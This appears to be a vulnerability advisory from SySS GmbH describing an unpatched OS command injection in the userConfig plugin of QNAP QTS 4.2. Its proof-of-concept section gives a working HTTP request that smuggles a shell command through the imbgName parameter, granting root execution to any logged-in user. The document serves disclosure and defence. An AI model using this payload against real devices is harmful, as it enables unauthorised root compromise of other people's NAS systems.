~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

QTS is the operating system used by manufacturer QNAP on its series of
NAS devices[1].

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:


The SySS GmbH found an os command injection in the userConfig plugin of 
the current QTS administrative interface.

This type of vulnerability allows an attacker to run arbitrary commands
on the operating system of the host as root.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

1. Log in to the QNAP. The user needs no special privileges.
2. Run a request like the following:

==
POST /cgi-bin/userConfig.cgi?imbgName=a$([command]).jpg&func=uploadBgImg&sid=[sid] HTTP/1.1
Host: [IP of the QNAP]:8080
Content-Type: multipart/form-data;boundary=foo
Content-Length: 115

foo
Content-Disposition: form-data; name="filename"; filename="foo.jpg"
Content-Type: image/jpeg

asdf
foo--

==
3. The contained command will be exeucted. An example would be

  $(bash -c '(echo;ls) 1>&2')

complete URL:

  /cgi-bin/userConfig.cgi?imbgName=a$(bash%20-c%20'(echo;ls)%201>%262')Img.jpg&func=uploadBgImg&sid=[sid]

which will display the content of the current working directory (/home/httpd/cgi-bin) as content.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

The manufacturer has not released any security update or patch so far.
Administrators of QNAP QTS 4.2 installations should ensure that only 
trusted users/administrators have access to the device.
